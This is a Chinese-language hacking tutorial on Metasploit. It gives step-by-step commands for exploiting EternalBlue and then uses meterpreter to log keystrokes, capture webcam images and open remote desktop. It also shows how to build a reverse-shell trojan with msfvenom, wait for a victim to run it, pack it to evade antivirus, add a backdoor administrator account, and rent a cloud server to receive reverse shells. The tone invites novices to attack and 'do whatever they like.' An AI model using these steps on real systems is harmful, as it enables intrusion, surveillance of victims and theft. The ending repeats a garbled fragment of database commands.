渗透测试神器之metasploit
metasploit是什么?
msf是一款开源安全漏洞利用和测试工具,继承了各种平台上常见的溢出漏洞和流行的shellcode,并持续保持更新。
metasploit让复杂的漏洞攻击流程变得非常的简单,一个电脑小白经过几个小时的学习,就能对操作系统等主流漏洞发起危害性攻击。
metasploit攻击windows系统
msfconsole:启动metasploit命令行(命令行效率高,使用方便)
启动metasploit前需要做:
- 打开kali终端
- 使用sudo su命令,并输入kali的密码kali,切换至root用户(建议kali直接使用root登录)
- 使用msfdb init命令,初始化建议kali直接使用root登录。数据库(*可选)
![image-20220717142331655](https://typorazhd.oss-cn-beijing.aliyuncs.com/image-20220717142331655.png)
msf使用法则:
- 使用模块 - use[module name]
- 配置模块必选项 - set [opthin name] [value]
- 运行模块 - run
- 三步操作就能实现对主流漏洞的攻击
永恒之蓝
永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。
攻击流程
本次攻击以永恒之蓝为例:
![image-20220717143752688](https://typorazhd.oss-cn-beijing.aliyuncs.com/image-20220717143752688.png)
metasploit攻击永恒之蓝全流程:
-
使用模块
use exploit/windows/smb/ms17_010_eternalblue
也可以使用对应的序号,例如 :use 0
-
设置必选项
查看必选项[required为yes的就是必选项]
show options
![image-20220717143953109](https://typorazhd.oss-cn-beijing.aliyuncs.com/image-20220717143953109.png)
在目标winsdows系统上用ipconfig查看IP,并配置
set RHOSTS 192.168.206.138
rhosts为target host(s) 代表你想要攻击谁
set payload windows/x64/meterpreter/reverse_tcp
payload是攻击载荷,就是攻击完成后你想干啥,这里是想获取meterpreter
meterpreter是metasploit后渗透的神器
set LHOST 192.168.1.136
LHOST为listen host 代表你是谁,即kali的IP地址
set LPORT 12345
LPORT为listen port,代表你要在kali上开启的端口,1-65535随便选,但不能被占用
攻击前记得关闭目标主机的防火墙:
![image-20220717144652805](https://typorazhd.oss-cn-beijing.aliyuncs.com/image-20220717144652805.png)
运行模块,完成攻击:
![image-20220718093933521](https://typorazhd.oss-cn-beijing.aliyuncs.com/image-20220718093933521.png)
攻击成功后能做什么
meterpreter是强大的后渗透模块,可以输入help查看帮助信息
远程控制,命令执行,摄像头监控,密码获取,创建后门用户,破坏纂改……这些看起来非常复杂又高级的操作都能用meterpreter中的一些模块,一两个命令就可以完成了。
例如:开机键盘监听,开启摄像头
keyscan_start //开启键盘监听
keyscan_dump //到处键盘监听结果
keyscan_stop //结束键盘监听
run vnc //开启远程桌面
webcam_list //查看摄像头
webcam_snap //通过摄像头拍照
webcam_stream //通过摄像头开启视频
想要键盘监听就必须换身份
ps 查看进程
进程注入:
成功进行键盘监听:
开启远程桌面:
![image-20220718102518626](https://typorazhd.oss-cn-beijing.aliyuncs.com/image-20220718102518626.png)
这样操作是非常卡的,一般进行远程控制我们会开启3389端口
虚拟机没有摄像头,我们暂时无法进行摄像头的控制
msfvenom生成后门木马
想要远程控制别人?msfvenom生成远控木马了解一下
msfvenom是用来生成后门的软件,在目标机上执行后门,在本地监听上线。
msfvenom在shell里使用,不是msfconsole终端
windows可执行程序后门:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.136 lport=9999 -f exe -o demo.exe
![image-20220718104009044](https://typorazhd.oss-cn-beijing.aliyuncs.com/image-20220718104009044.png)
不做免杀处理,木马文件很容易被安全软件删除掉。
生成木马就完事了?记得在msfconsole里开启监听,等待受害者运行上钩
进入监听模块:
不管发送什么木马都要在这个模块进行配置
通过show options 查看需要配置的参数:
![image-20220718152314226](https://typorazhd.oss-cn-beijing.aliyuncs.com/image-20220718152314226.png)
配置payloads:set payload windows/x64/meterpreter/reverse_tcp
配置端口:
监听:
通过exploit监听会持续监听无法进行其他操作,而我们使用exploit -j就可以使之持续监听,并挂载在后台。
我们通过jobs就可以进行查看:
![image-20220718152840277](https://typorazhd.oss-cn-beijing.aliyuncs.com/image-20220718152840277.png)
当客户端运行我们发送的木马时,我们就会收到成功的提示。
然后通过sessions查看,可以看到电脑的用户名。
![image-20220718154208047](https://typorazhd.oss-cn-beijing.aliyuncs.com/image-20220718154208047.png)
之后通过session1/2/3等进行切换,我们换到有摄像头的主机后,可以进行摄像头的开启等操作,可以自己试一下。
杀毒软件会查杀怎么办?一招教你躲避火绒的探测
最基础的免杀(对于其他杀毒软件效果不同,具体情况自行尝试)
加壳:压缩壳,加密壳(Themida)
上钩以后怎么办?纂改破坏,监控,只要权限够,随心所欲
例:创建后面用户并开启远程连接
shell
net user zhangsan 123456 /add&& localgroup administrators zhangsan /add
exit
run getuid -e
云服务器安装metasploit
为什么要用云服务器
kali在内网中,在实际渗透测试攻击过程中,如遇到需要反弹shell的情况,互联网中的靶机是无法连接至内网中的kali,故可以租赁一台又公网IP的云服务器作为攻击机
云服务器安装metasploit
安装MSF:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb>msfinstall && chmod 755 msfinstall && ./msfinstall
postgres=# CREATE USER msf WITH PASSWORD ‘msf’;
postgres=# CREATE DATABASE msf OWNER msf;
postgres=# ALTER ROLE msf LOGIN
postgres=# \du 查看用户
postgres=# \d 列出当前数据库表
postgres=# \l 查看数据库
postgres=#\q 退出
postgres=#\c msf 切换数据库
SWORD ‘msf’;
postgres=# CREATE DATABASE msf OWNER msf;
postgres=# ALTER ROLE msf LOGIN
postgres=# \du 查看用户
postgres=# \d 列出当前数据库表
postgres=# \l 查看数据库
postgres=#\q 退出
postgres=#\c msf 切换数据库